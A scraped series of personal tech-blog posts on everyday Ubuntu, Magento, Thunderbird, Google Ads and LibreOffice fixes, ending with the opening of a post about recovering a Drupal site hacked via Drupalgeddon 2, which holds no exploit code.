<tr><td style="text-align: center;"><a href="https://2.bp.blogspot.com/-M0MRpDNrJtk/XEGPfjwLAFI/AAAAAAAABkU/5BQHVz2p9KkhU9H-h4CNcy4fieEY-bI-QCLcBGAs/s1600/ntfs-fsck-fix-ubuntu.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="758" data-original-width="1600" height="151" src="https://2.bp.blogspot.com/-M0MRpDNrJtk/XEGPfjwLAFI/AAAAAAAABkU/5BQHVz2p9KkhU9H-h4CNcy4fieEY-bI-QCLcBGAs/s320/ntfs-fsck-fix-ubuntu.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="color: red;">ntfsclone-ng.c: NTFS Volume '/dev/sda6/' is scheduled for a check or it was shutdown uncleanly. Please boot Windows or fix it by fsck</span></td><td class="tr-caption" style="text-align: center;"></td><td class="tr-caption" style="text-align: center;"></td><td class="tr-caption" style="text-align: center;"></td><td class="tr-caption" style="text-align: center;"></td></tr>
</tbody></table>
& I know why this issue has cropped up. Few days back I used <b>GParted</b> to expand my main <b>ext4 partition</b> that has Ubuntu installed on it by using a chunk from another <b>NTFS partition</b>.</div><div dir="ltr" style="text-align: left;" trbidi="on"><br />
<h3 style="text-align: left;">
</h3>
<h3 style="text-align: left;">
>> SOLUTION:</h3>
<br />
Here's what worked for me. Open your terminal <b>[CTRL+ALT+T]</b>:<br />
<br />
1. First <b>list</b> all the partition in your hard drive. <br />
<br />
<pre style="background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> df -h
</code></pre>
<br />
You should be getting a list of parition as shown in the image below. In my case, the NTFS parition is '/dev/sda6.'<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://3.bp.blogspot.com/-2i9Q8plxiN0/XEGRsdE_HzI/AAAAAAAABkg/nnlCfqN5qKoYKl-WNDJaqO-f8fniHmPXwCLcBGAs/s1600/Selection_001.png" style="margin-left: auto; margin-right: auto;"><img alt="[SOLVED] - Fix Corrupt NTFS Parition In Ubuntu Using fsck Without Using Windows" border="0" data-original-height="204" data-original-width="481" height="168" src="https://3.bp.blogspot.com/-2i9Q8plxiN0/XEGRsdE_HzI/AAAAAAAABkg/nnlCfqN5qKoYKl-WNDJaqO-f8fniHmPXwCLcBGAs/s400/Selection_001.png" title="" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
<br />
2. Now <b>unmount</b> the NTFS partition using the following command. Please note, the command is 'umount' and not 'unmount.'<br />
<br />
<pre style="background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> sudo umount /dev/sda6
</code></pre>
<br />
3. If you do not have <b>ntfs-3g</b> installed, you can install it using the following command:<br />
<br />
<pre style="background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> sudo apt-get install ntfs-3g
</code></pre>
<br />
4. Now run the ntfs-3g command to check/repair your corrupt/problematic NTFS partition:<br />
<br />
<pre style="background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; overflow-wrap: normal; word-wrap: normal;"> sudo ntfsfix -b -d /dev/sda6
</code></pre>
here,<br />
<ul style="text-align: left;">
<li><b>b</b>: clear-bad-sectors -- Clear the bad sector list<b> </b></li>
<li><b>d</b>: clear-dirty -- Clear the volume dirty flag</li>
</ul>
<br />
5. If the <b>CHECK/REPAIR</b> operation is successful, you should be getting a message as shown in the image below:<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://4.bp.blogspot.com/-XHAXUnKPKEM/XEGT0Vzr5oI/AAAAAAAABks/HH0r4xGPFsEF11D6nrXDclTxkPnCrlDAACLcBGAs/s1600/Selection_002.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="130" data-original-width="528" height="97" src="https://4.bp.blogspot.com/-XHAXUnKPKEM/XEGT0Vzr5oI/AAAAAAAABks/HH0r4xGPFsEF11D6nrXDclTxkPnCrlDAACLcBGAs/s400/Selection_002.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
<b>>> REF:</b> <a href="https://askubuntu.com/questions/47700/fix-corrupt-ntfs-partition-without-windows" target="_blank">Fix corrupt NTFS partition without Windows</a></div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com6tag:blogger.com,1999:blog-6824476048687145144.post-90017042786318702942018-12-27T19:36:00.000+05:302018-12-27T21:07:16.685+05:30[SOLVED]: Module 'Amasty_Base' from 'app/code/Amasty/Base' has been already defined in 'vendor/amasty/base'<div dir="ltr" style="text-align: left;" trbidi="on">
If you have been trying to install Amasty Extension(s) in your Magento 2 installation by using SSH, and run into this error '<span style="color: red;">Module 'Amasty_Base' from 'app/code/Amasty/Base' has been already defined in 'vendor/amasty/base'</span>', use the solution below to resolve your issue.<br />
<br />
This issue occurs if you have installed Amasty Extension(s) manually and the 'Amasty Base' file already exists inside the directory 'app/code/Amasty/Base.' & later when you try to install another Amasty extension using SSH, composer will notice this file in app/code and hence the error. Composer creates the 'Base' directory in the following location 'vendor/amasty/base'.<br />
<br />
<span style="font-size: large;"><b>>> SOLUTION:</b></span><br />
<br />
1. Go to the root directory of your Magento Installation.<br />
2. Enter the following commands:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">1: composer remove amasty/composer_name_of_your_extension
2: rm -rf app/code/Amasty/Base
3: rm -rf vendor/amasty/base
4: composer dump-autoload
</code></pre>
<br />
3. Now INSTALL your Amasty Extension by running the following command:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">1: composer require amasty/composer_name_of_your_extension
2: php bin/magento setup:upgrade
3: php bin/magento setup:di:compile
4: php bin/magento setup:static-content:deploy
</code></pre>
<br />
<b><u>NOTE</u>:</b><br />
<br />
To find the composer name of your extension:<br />
<ul style="text-align: left;">
<li>Log into your Amasty Account</li>
<li>Goto to My Downloads page and look under Composer Name column. See image below to get an idea.</li>
</ul>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://2.bp.blogspot.com/-PvFrC0QNcRI/XCTasWuJikI/AAAAAAAABkA/3ikSL5vytSU68irbIfvM3Tri401B1-EvACLcBGAs/s1600/Selection_001.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="651" data-original-width="1295" height="200" src="https://2.bp.blogspot.com/-PvFrC0QNcRI/XCTasWuJikI/AAAAAAAABkA/3ikSL5vytSU68irbIfvM3Tri401B1-EvACLcBGAs/s400/Selection_001.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-56562344058343781792018-12-21T19:54:00.000+05:302018-12-21T19:54:05.123+05:30[SOLVED]: Same Web Property ID Is Tracked Twice | Google Tag Manager | Magento 2<div dir="ltr" style="text-align: left;" trbidi="on">
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://4.bp.blogspot.com/-R9820lfiaIo/XBz2Onv3kfI/AAAAAAAABjs/NI9zYwLhc9g6cjjQtz2gwB6M2YXrAgdjgCLcBGAs/s1600/Selection_001.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="[SOLVED]: Same Web Property ID Is Tracked Twice | Google Tag Manager | Magento 2" border="0" data-original-height="641" data-original-width="988" height="258" src="https://4.bp.blogspot.com/-R9820lfiaIo/XBz2Onv3kfI/AAAAAAAABjs/NI9zYwLhc9g6cjjQtz2gwB6M2YXrAgdjgCLcBGAs/s400/Selection_001.png" title="[SOLVED]: Same Web Property ID Is Tracked Twice | Google Tag Manager | Magento 2" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><div class="separator" style="clear: both; font-size: medium;">
Click on image to enlarge</div>
</td></tr>
</tbody></table>
<br />
If your Tag Assistant is firing this warning '<span style="color: red;">Same web property ID is tracked twice</span>' while testing in your Magento 2 site, then it's because you've enabled Google Analytic in your Magento store backend, and also in Google Tag Manager.<br />
<br />
<b>SOLUTION: </b>Enable Google Analytics tracking either from your site's backend or by using Google Tag Manager, but not both.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-KOP9D4IG_i8/XBz2kPp_ZuI/AAAAAAAABj0/ZQQNxVgu968DbgKDfJLPdstRsiSamgf0gCLcBGAs/s1600/Selection_002.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="355" data-original-width="941" height="150" src="https://1.bp.blogspot.com/-KOP9D4IG_i8/XBz2kPp_ZuI/AAAAAAAABj0/ZQQNxVgu968DbgKDfJLPdstRsiSamgf0gCLcBGAs/s400/Selection_002.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
Click on image to enlarge</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="text-align: center;">If you want to use Google Tag Manager for Google Analytics then disable tracking from your site's backend.</span></div>
</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-68606590589691825422018-11-24T21:03:00.000+05:302018-11-25T08:40:43.893+05:30Third Party IT Repair Services & Tech Support Ads Banned By Google Ads<div dir="ltr" style="text-align: left;" trbidi="on">
Today while trying to launch some PPC Campaign for a Repair Service for my business, I was met by a RUDE SHOCK due to a policy change in Google Ads.<br />
<br />
Each time I tested keywords such as 'iphone repair dubai' 'data recovery dubai', I was greeted with this unfamiliar message '<b>This candidate is not permitted to show ads in your targeted location.</b>', as shown in the image below:<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://3.bp.blogspot.com/-3Rz1Qa5PYvM/W_loSjuTyiI/AAAAAAAABjU/gg4L3dlJ-JsZVInL0KZ35scWiPGZhUFhwCLcBGAs/s1600/Selection_002.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="472" data-original-width="1359" height="138" src="https://3.bp.blogspot.com/-3Rz1Qa5PYvM/W_loSjuTyiI/AAAAAAAABjU/gg4L3dlJ-JsZVInL0KZ35scWiPGZhUFhwCLcBGAs/s400/Selection_002.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
After much searching and researching, I finally found out that IT Repair Services, Tech Support, both online or offlline has been banned by Google Ads globally for any 3rd party company. Meaning unless you are the real vendor/manufacturer of the product, you aren't allowed to display Ads providing service or support for that product. Please check the links I've listed below for further clarification. Hard pill to swallow, leave alone digest, but that's what seems to be the case at the moment. And I guess this is the result of all those Indian Tech Scammers, who have been targeting mostly Americans. Because of them now all have to suffer! :-(<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://3.bp.blogspot.com/-l5J2ji4Pk5Q/W_ltO2nKjKI/AAAAAAAABjg/vVWiB55X0WgYraTtHB79JDXbqk-lNT0qQCLcBGAs/s1600/Selection_001.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="This candidate is not permitted to show ads in your targeted location. Google Ads" border="0" data-original-height="588" data-original-width="816" height="287" src="https://3.bp.blogspot.com/-l5J2ji4Pk5Q/W_ltO2nKjKI/AAAAAAAABjg/vVWiB55X0WgYraTtHB79JDXbqk-lNT0qQCLcBGAs/s400/Selection_001.png" title="This candidate is not permitted to show ads in your targeted location. Google Ads" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
<h3 style="text-align: left;">
References:</h3>
<ul style="text-align: left;">
<li><a href="https://www.en.advertisercommunity.com/t5/Ad-Approval-Policy/This-candidate-is-not-permitted-to-show-ads-in-your-targeted/m-p/1860843#M44600%3F%3Futm_source=reactemail&utm_medium=email&utm_campaign=enGamLaunch&utm_term=threadtitle" target="_blank"><b>This candidate is not permitted to show ads in your targeted location. Learn more - Google Advertiser Community</b></a></li>
<li><a href="https://support.google.com/adspolicy/answer/9141571" target="_blank"><b>Update to Other restricted businesses policy (October 2018)</b></a></li>
<li><a href="https://www.blog.google/products/ads/restricting-ads-third-party-tech-support-services/" target="_blank"><b>Restricting ads in third-party tech support services</b></a></li>
<li><a href="https://support.google.com/adspolicy/answer/6368711?hl=en" target="_blank"><b>Other restricted businesses</b></a></li>
<li><a href="https://support.google.com/adspolicy/answer/6008942?hl=en" target="_blank"><b>Google Ads policies</b></a></li>
<li><a href="https://support.google.com/merchants/answer/6150006?hl=en" target="_blank"><b>Unsupported Shopping content</b></a></li>
</ul>
</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com2tag:blogger.com,1999:blog-6824476048687145144.post-31169944408561140382018-09-03T11:39:00.001+05:302018-09-03T11:39:17.630+05:30[SOLVED] - Thunderbird Could Not Get Password - Fix for Ubuntu/Linux<div dir="ltr" style="text-align: left;" trbidi="on">
<div>
If you have been getting the following error "<b>Thunderbird Could Not Get Password</b>," and because of this have been unable to log into your Email Account or Send Emails, you can try the solution below that worked for me.<br />
<br />
<b>>> </b>Close your Thunderbird Email Client. Goto your Home folder and <b>Press CTRL+H</b> to view hidden folders, or in your Menu, goto <b>View >> Show Hidden Files</b>.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://3.bp.blogspot.com/-RJPguUlF0T4/W4zMGF7qeTI/AAAAAAAABig/H7nHJ1J6Qj4EJKQirYotjmob2pODL9dYwCLcBGAs/s1600/Selection_003.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="[SOLVED] - Thunderbird Could Not Get Password for Ubuntu" border="0" data-original-height="160" data-original-width="320" height="160" src="https://3.bp.blogspot.com/-RJPguUlF0T4/W4zMGF7qeTI/AAAAAAAABig/H7nHJ1J6Qj4EJKQirYotjmob2pODL9dYwCLcBGAs/s320/Selection_003.png" title="" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
<b>>></b> Click on the <b>.thunderbird</b> folder.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://2.bp.blogspot.com/-gCbaopnUNyg/W4zMZmxwTqI/AAAAAAAABio/Lt4JwFPEt7wknFDPEzm9SXbEkKS1aLW5ACLcBGAs/s1600/Selection_004.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="[SOLVED] - Thunderbird Could Not Get Password for Ubuntu" border="0" data-original-height="221" data-original-width="772" height="91" src="https://2.bp.blogspot.com/-gCbaopnUNyg/W4zMZmxwTqI/AAAAAAAABio/Lt4JwFPEt7wknFDPEzm9SXbEkKS1aLW5ACLcBGAs/s320/Selection_004.png" title="" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
<b>>></b> Click on the <b>shbh8pem.default</b> folder.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://1.bp.blogspot.com/-XL8Hf1w3Kqs/W4zOGX427xI/AAAAAAAABi8/L2vGpvah1e4nbpX2P0eC7DyCnRWlWoMygCLcBGAs/s1600/Selection_001.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="643" data-original-width="770" height="333" src="https://1.bp.blogspot.com/-XL8Hf1w3Kqs/W4zOGX427xI/AAAAAAAABi8/L2vGpvah1e4nbpX2P0eC7DyCnRWlWoMygCLcBGAs/s400/Selection_001.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
<b>>></b> DELETE the following two files as highlighted in the image above:<br />
<ul style="text-align: left;">
<li><b>cert8.db</b></li>
<li><b>key3.db </b></li>
</ul>
</div>
<b>>></b> Now OPEN Thunderbird and press F5 to Send/Receive Emails. If it prompts for a password enter it.<br />
<br />
<b>>></b> Try SENDING an Email from. If it prompts for a password enter it.<br />
<br />
<b>>></b> If the above solution doesn't work, RESTART your system, and repeat the steps above.<br />
<br />
<b>>></b> Your problem should have been resolved now.</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-63712869658983541432018-07-25T15:34:00.003+05:302018-07-25T16:00:49.905+05:30Learn in 10 Seconds How to Easily Copy Same Data Across Multiple Cells in LibreOffice Calc<div dir="ltr" style="text-align: left;" trbidi="on">
Here's a very easy way that I've found with which you can easily copy same data across multiple cells.<br />
<br />
If you are <b>COPYING TEXT</b>, then you don't need to press any keys. But if you would like to <b>COPY Numbers</b> across cells, then press <b>CTRL key</b> while dragging the mouse, as shown in the video.<br />
<br />
<div style="text-align: center;">
<iframe allow="autoplay; encrypted-media" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/fkBghrNuC6Y" width="560"></iframe><br /></div>
</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-27214743208057268122018-05-27T15:43:00.000+05:302018-05-27T15:45:29.941+05:30Check Disk Space Usage from Terminal in Ubuntu/Linux<div dir="ltr" style="text-align: left;" trbidi="on">
To view disk space usage of your partitions/hard drive in your terminal, use the following command:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> df -h
</code></pre>
You should get result as shown in the image below:<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://3.bp.blogspot.com/-4ij_Hy2KL80/WwqFIIPcBVI/AAAAAAAABh0/N212qeuHcxkhfDWaIfIHZjdo7t8B8XDZgCLcBGAs/s1600/Selection_002.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="Check Disk Space Usage from Terminal in Ubuntu/Linux" border="0" data-original-height="202" data-original-width="480" height="168" src="https://3.bp.blogspot.com/-4ij_Hy2KL80/WwqFIIPcBVI/AAAAAAAABh0/N212qeuHcxkhfDWaIfIHZjdo7t8B8XDZgCLcBGAs/s400/Selection_002.png" title="Check Disk Space Usage from Terminal in Ubuntu/Linux" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-46667773750380916162018-05-20T10:35:00.000+05:302018-05-22T17:53:39.769+05:30[SOLVED] - Delete Categories in Magento 2 using MySQL & phpMyAdmin<div dir="ltr" style="text-align: left;" trbidi="on">
You can use the SQL code below to <b>DELETE </b>your <b>Categories</b> in your Magento 2 installation. It will reset your categories to as it was after a fresh installation.<br />
<br />
Copy the code below and execute it as shown in the image:<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://3.bp.blogspot.com/-LK15BLQnUTU/WwEA7dnZ9iI/AAAAAAAABho/PaihR1nlP7QWSCztkUgP31n7MsNNrPi6ACLcBGAs/s1600/Selection_001.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="[SOLVED] - Delete Categories in Magento 2 using MySQL & phpMyAdmin" border="0" data-original-height="518" data-original-width="1093" height="188" src="https://3.bp.blogspot.com/-LK15BLQnUTU/WwEA7dnZ9iI/AAAAAAAABho/PaihR1nlP7QWSCztkUgP31n7MsNNrPi6ACLcBGAs/s400/Selection_001.png" title="[SOLVED] Delete Categories in Magento 2 using MySQL & phpMyAdmin" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
<br />
<script src="https://gist.github.com/evagabond/1a93ad0308392113960ef18ee6a4c0ef.js"></script><br /></div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-77326259171028244072018-05-18T17:38:00.000+05:302018-05-18T17:40:48.057+05:30Successfully Install Porto/Magento 2 Theme Quick Start Package<div dir="ltr" style="text-align: left;" trbidi="on">
This was the second time I was using Porto/Magento 2 theme in one of my project. The instruction provided in their <a href="http://www.portotheme.com/magento2/porto/documentation/" target="_blank">documentation</a> to install their Quick Start Package is not at all clear, and doesn't help at all. So, after some trial and error, I have found the following steps to work me, and sharing it with everybody here:<br />
<ol style="text-align: left;">
<li>First Install a fresh copy of Magento with <u>no sample data</u>. Make sure your Magento's Version matches Porto's Quick Start Package version, else you will get error. Do not use table_prefix in your database. You can create table_prefix later on after successfully installing the Quick Start package.</li>
<li>After installing Magento, now unzip the Quick Start Package zip file in your Magento root folder.</li>
<li>Import the database provided with your Quick Start Package File. Don't use any table_prefix because the Quick Start Package database doesn't have any, and you will encounter errors if you use one.</li>
<li>Check whether the base-url in the core_config table are correct. If not set them to the admin-url you set in Step 1 during the Magento Installation process.<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><img border="0" data-original-height="342" data-original-width="1080" height="126" src="https://3.bp.blogspot.com/-MGN6iJ4hGtI/Wv6-p7yFomI/AAAAAAAABhQ/uCVNt9Vc6DQKctY_2MzkNt6j50tNJAoIACLcBGAs/s400/Selection_001.png" style="margin-left: auto; margin-right: auto;" width="400" /></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
</li>
<li>Delete the following folder/files using the command below: <pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> rm -rf var/di/* var/generation/* var/cache/* var/page_cache/* var/view_preprocessed/* var/composer_home/cache/*
</code></pre>
If in localhost, you might have to use sudo to exectute the commands.<br />
</li>
<li>Run the following command:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> php bin/magento setup:di:compile
</code></pre>
It will compile and generate the factory class and depended proxy classes. Also, if in localhost run the following command<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> sudo chown -R www-data:www-data magento-folder
</code></pre>
</li>
<li> Clean your site cache.</li>
<li>The admin login that you created in Step 1 might not work now after importing Porto's Quick Start Package database, so create a new one using this tutorial: <a href="http://www.evagabond.me/2016/12/create-admin-user-from-terminal-in.html" target="_blank">Create Admin User from Terminal in Magento 2.x.</a></li>
<li> Activate SW Extensions, open command line in folder root of magento and run commands via ssh using putty or others, php bin/magento setup:upgrade. </li>
<li>Log into your site's backend and Select Smartwave Porto theme in Stores > Configuration > General > Design > Design Theme > Design Theme for Magento 2.0.x version, and select Smartwave Porto theme in Content > Design > Configuration page for Magento 2.1.x version. You can select Smartwave Porto RTL theme, if you want to build a RTL site.</li>
</ol>
</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-29280626868192643202018-05-14T02:06:00.000+05:302018-07-26T19:11:45.337+05:30Download Ubuntu 18.04 Bionic Beaver Virtual Disk Image (VDI) File for VirtualBox<div dir="ltr" style="text-align: left;" trbidi="on">
I was trying Ubuntu 18.04 today on my VirtualBox, and created this VDI file. Sharing it with all here:<br />
<br />
<b>Download Link:</b> <a href="http://bit.ly/2IC0wmc" target="_blank">Ubuntu 18.04 VDI File</a><br />
<b>Username: </b>virtualbox<br />
<b>Password: </b>ubuntu1804<br />
<br />
<b>NOTE:</b><br />
<ul style="text-align: left;">
<li><b>VB Guest Addition Tool</b> is not installed. So you will have to install it. </li>
<li><b>Variety</b> wallpaper & <b>Cairo Dock</b> app has been installed as bonus.</li>
</ul>
</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-47881848890574703892018-05-13T20:13:00.000+05:302018-05-13T20:13:25.892+05:30Upgrade/Update Magento 2x Using Web Setup Wizard<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: center;">
<iframe allow="autoplay; encrypted-media" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/V0ZT0nXPcWs?rel=0" width="560"></iframe><br />
<br />
<div style="text-align: left;">
<b>NOTE:</b> Depending on your server's computing power, the upgrading time may vary. For me it took a good 15-17 mins. I have trimmed/edited the video to shorten the process. So, once the check are successful and you START the UPGRADING PROCESS, do not terminate it, unless the whole process is complete and you see a SUCCESS message as shown in the end of this video. </div>
</div>
</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-57298758972642418172018-05-03T13:37:00.001+05:302018-05-03T13:53:21.174+05:30[SOLVED] - How my Drupal Site Got Hacked & How I Cleaned/Fixed it<div dir="ltr" style="text-align: left;" trbidi="on">
<b><u>NOTE</u>:</b> This solution is only possible if you have a clean backup of your website. You can still continue to read it and see if you can apply the various recommended solution here, and clean-up your site.<br />
<br />
<h3>
<span style="font-size: x-large;"><b>The Hack - How it happened </b></span></h3>
One of my Drupal site recently got compromised due to a security exploit in the Drupal core itself, you can read about the exploit here in detail: <a href="http://bit.ly/2HKrYyF" target="_blank">Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002</a>. In my 8 years of using Drupal this was the first time I experienced such a severe attack. In fact this exploit/attack was so considered to be so sever that it was given the nomenclature, <a href="https://arstechnica.com/information-technology/2018/04/with-drupalgeddon2-still-under-attack-drupal-fixes-a-new-critical-flaw" target="_blank"><b>Drupalggedon Version 2</b></a>.<br />
<br />
It took me a good one week to fully clean my site, and now it's almost a week past the cleanup stage and I haven't heard from the attacker any more :-D. During the site cleanup process, I have learned many new and important security techniques, which I would like to share through this post with the hope that it might help someone too. <br />
<br />
I became aware of the attack, after my webhost downed and informed me about a malware attack on my site. They sent me the following mail informing me about the hack:<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://2.bp.blogspot.com/-O9LqvF8t4Xc/WuqRQRaVEbI/AAAAAAAABgo/XvpAdDc78OQk4gd8c5yoMO2cSsNTchvVQCLcBGAs/s1600/Selection_002.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="Email from my webhost informing me about the hack" border="0" data-original-height="153" data-original-width="595" height="102" src="https://2.bp.blogspot.com/-O9LqvF8t4Xc/WuqRQRaVEbI/AAAAAAAABgo/XvpAdDc78OQk4gd8c5yoMO2cSsNTchvVQCLcBGAs/s400/Selection_002.png" title="Email from my webhost informing me about the hack" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
